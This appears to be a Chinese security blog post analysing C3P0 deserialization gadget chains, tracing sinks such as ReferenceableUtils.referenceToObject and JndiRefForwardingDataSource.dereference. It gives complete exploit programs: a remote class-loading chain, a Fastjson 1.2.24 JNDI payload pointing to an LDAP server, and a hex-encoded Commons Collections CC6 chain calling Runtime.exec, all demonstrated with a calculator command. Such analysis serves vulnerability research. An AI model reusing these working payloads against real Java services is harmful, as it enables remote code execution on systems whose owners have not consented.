C3P0 是一个 JDBC 连接池,用于管理数据库连接,避免频繁创建和销毁连接带来的性能开销,类似于 Druid。
**JDBC:**Java 访问数据库的标准接口,Java 代码通过 JDBC 与数据库交互,不直接使用 TCP。
**连接池:**提前创建一批数据库连接并复用,避免每次操作都新建/关闭连接(类似线程池)。
**C3P0:**具体的连接池实现(与 Druid 同类),支持数据源和 JNDI 绑定,常用于 Hibernate、Spring 等框架。
流程分析
pom.xml
1 2 3 4 5
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
C3P0 常见的利用方式有如下三种
- URLClassLoader 远程类加载
- JNDI 注入
- 利用 HEX 序列化字节加载器进行反序列化攻击
URLClassLoader 远程类加载
C3P0 支持 JNDI Reference 数据源,而 Reference 天然包含一个远程类加载的机制(codebase + factory class)。这个机制被 referenceToObject()实现,而它恰好可以被攻击者控制。
定位到该类方法:
Sink:com.mchange.v2.naming.ReferenceableUtils#referenceToObject
- 从
Reference对象中取出 factoryClassName和 codebase URL。
- 用
URLClassLoader加载远程的 factory 类。
- 调用
newInstance()实例化该类 → 触发恶意代码。

找到 sink 后,向上追溯谁调用了 referenceToObject()
ReferenceIndirector.getObject()调用了 referenceToObject()

PoolBackedDataSourceBase.readObject()调用了 ReferenceIndirector.getObject()
readObject()是反序列化的入口

流程:
1 2 3 4 5 6 7 8 9 10
| readObject()
→ PoolBackedDataSourceBase.readObject()
→ ReferenceIndirector.getObject() → ReferenceableUtils.referenceToObject() → URLClassLoader.loadClass() + newInstance()
|
验证 sink 可用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import com.mchange.v2.naming.ReferenceableUtils; import javax.naming.Name; import javax.naming.Reference; import javax.naming.Context; import java.util.Hashtable; import java.lang.reflect.Method;
public class test { public static void main(String[] args) throws Exception { Class<?> clazz = ReferenceableUtils.class;
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:9999/");
Method method = clazz.getDeclaredMethod( "referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class ); method.setAccessible(true);
Object result = method.invoke(null, reference, null, null, null); } }
|

分析入口 PoolBackedDataSourceBase.readObject()
传入的对象必须实现 IndirectlySerialized 接口
1
| o instanceof IndirectlySerialized
|
然后进入进入 ReferenceSerialized.getObject(),然后恶意代码就已经发生了
1
| o = ((IndirectlySerialized) o).getObject()
|

问题在于,ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口。

既然原生不可序列化,C3P0 框架自己平时是怎么把它序列化存进文件的呢 ,可以看它自己怎么搞的PoolBackedDataSourceBase#writeObject() ,C3P0 在序列化时,并没有直接写接口,而是调用了 ReferenceIndirector.indirectForm() 进行了一层“包装”
1 2
| Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector(); oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
|

跟进indirector.indirectForm,发现返回ReferenceSerialized,发现ReferenceSerialized继承了IndirectlySerialized接口
1
| private static class ReferenceSerialized implements IndirectlySerialized
|

这个IndirectlySerialized接口实现了 Serializable 接口

- sink 确认:
ReferenceableUtils.referenceToObject()验证了 URLClassLoader 加载远程类的可行性。➜ EXP 中通过 Evil.getReference()返回的 Reference最终也会进入该方法。
- 入口分析发现:
PoolBackedDataSourceBase.readObject()要求反序列化的对象必须是 IndirectlySerialized类型,才能调用其 getObject()方法。➜ EXP 中不直接构造 ReferenceSerialized,而是利用 writeObject的自动包装机制。
- 序列化包装:
PoolBackedDataSourceBase.writeObject()会调用 ReferenceIndirector.indirectForm(),将 ConnectionPoolDataSource包装成 ReferenceSerialized(实现了 IndirectlySerialized和 Serializable)。➜ EXP 中通过反射设置 connectionPoolDataSource字段为一个同时实现了 ConnectionPoolDataSource和 Referenceable的对象,这样 indirectForm就能自动提取 Reference并完成包装。
- EXP 构造最终 EXP 的关键是:**提供一个同时实现 **
**ConnectionPoolDataSource****和 ****Referenceable**的类,通过反射赋值给 connectionPoolDataSource字段,然后序列化 ComboPooledDataSource。反序列化时,自动走完包装 → getObject()→ referenceToObject()→ URLClassLoader 加载远程类 → RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import com.mchange.v2.c3p0.ComboPooledDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.util.logging.Logger;
public class C3P0URLClassLoaderEXP { static class Evil implements ConnectionPoolDataSource, Referenceable { public Reference getReference() { return new Reference("calc", "calc", "http://127.0.0.1:9999/"); } public PooledConnection getPooledConnection() throws SQLException { return null; } public PooledConnection getPooledConnection(String u, String p) throws SQLException { return null; } public java.io.PrintWriter getLogWriter() throws SQLException { return null; } public void setLogWriter(java.io.PrintWriter w) throws SQLException {} public void setLoginTimeout(int s) throws SQLException {} public int getLoginTimeout() throws SQLException { return 0; } public Logger getParentLogger() { return Logger.getLogger(""); } }
public static void main(String[] args) throws Exception { ComboPooledDataSource ds = new ComboPooledDataSource(); Field f = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); f.setAccessible(true); f.set(ds, new Evil());
ByteArrayOutputStream baos = new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(ds); new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject(); } }
|

fastjson+JNDI 注入
这条链子是基于 Fastjson 链子的,也就是说,是 Fastjson 的某一条链
Sink:com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
通过全局搜索关键字 Jndi,找到了 dereference() 方法,该方法内部存在明显的 JNDI 注入触发点:ctx.lookup(jndiName)

往上找入口,同类inner()

发现类中有大量的 getter/setter 方法调用了 inner()。这意味着它完美符合 Fastjson 的利用条件。
选择setLoginTimeout()。它只需要传入一个整型(int)参数,在构造 Fastjson 的 JSON Payload 时极其简单。

先导入 fastjson 的包,就先导 1.2.24 的吧,因为 1.2.25 版本的 fastjson 当中就已经把 <font style="color:rgb(83, 83, 96);">com.mchange</font> 包加入了黑名单里面。
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
|
<font style="color:rgb(83, 83, 96);">JndiRefForwardingDataSource</font> 的 EXP 如下
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class JndiExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," + "\"jndiName\":\"ldap://127.0.0.1:1389/Calc\",\"loginTimeout\":1}"; JSON.parse(payload); } }
|
C3P0 之 hexbase 攻击利用
基于 Hex(十六进制)字符串的二次反序列化链
**Sink: **com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
这里可以触发原生 readObject() 方法

com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[], boolean)把字节流传给的deserializeFromByteArray()

com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString 该方法将传入的 Hex(十六进制)字符串读取,并转码还原为原始的字节流数组,将这个字节流数组传入 SerializableUtils.fromByteArray()
WrapperConnectionPoolDataSource 类的构造函数(或者能触发其属性赋值的地方)在给 userOverrides 属性赋值时,系统主动调用了 C3P0ImplUtils.parseUserOverridesAsString() 进行处理

但是需要先判断,if (“userOverridesAsString”.equals(propName)),但是setUserOverridesAsString,触发一个属性改变事件
1 2 3 4 5
| if ("userOverridesAsString".equals(propName)) { this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String) evt.getNewValue()); }
|

无参构造函数里的那句 this( true );的意思就是在当前构造函数里,去调用本类的另一个带参数的构造函数。

那么就可以构造exp,
pom.xml
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| package org.example;
import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class HexBaseFastjsonEXP {
public static Map CC6() throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); lazyMap.remove("key");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
return expMap; }
static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); }
private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); return out; }
public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); }
public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); }
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException { String hex = toHexAscii(tobyteArray(CC6())); System.out.println(hex);
String payload = "{" + "\"1\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}" + "}"; JSON.parse(payload);
} }
|
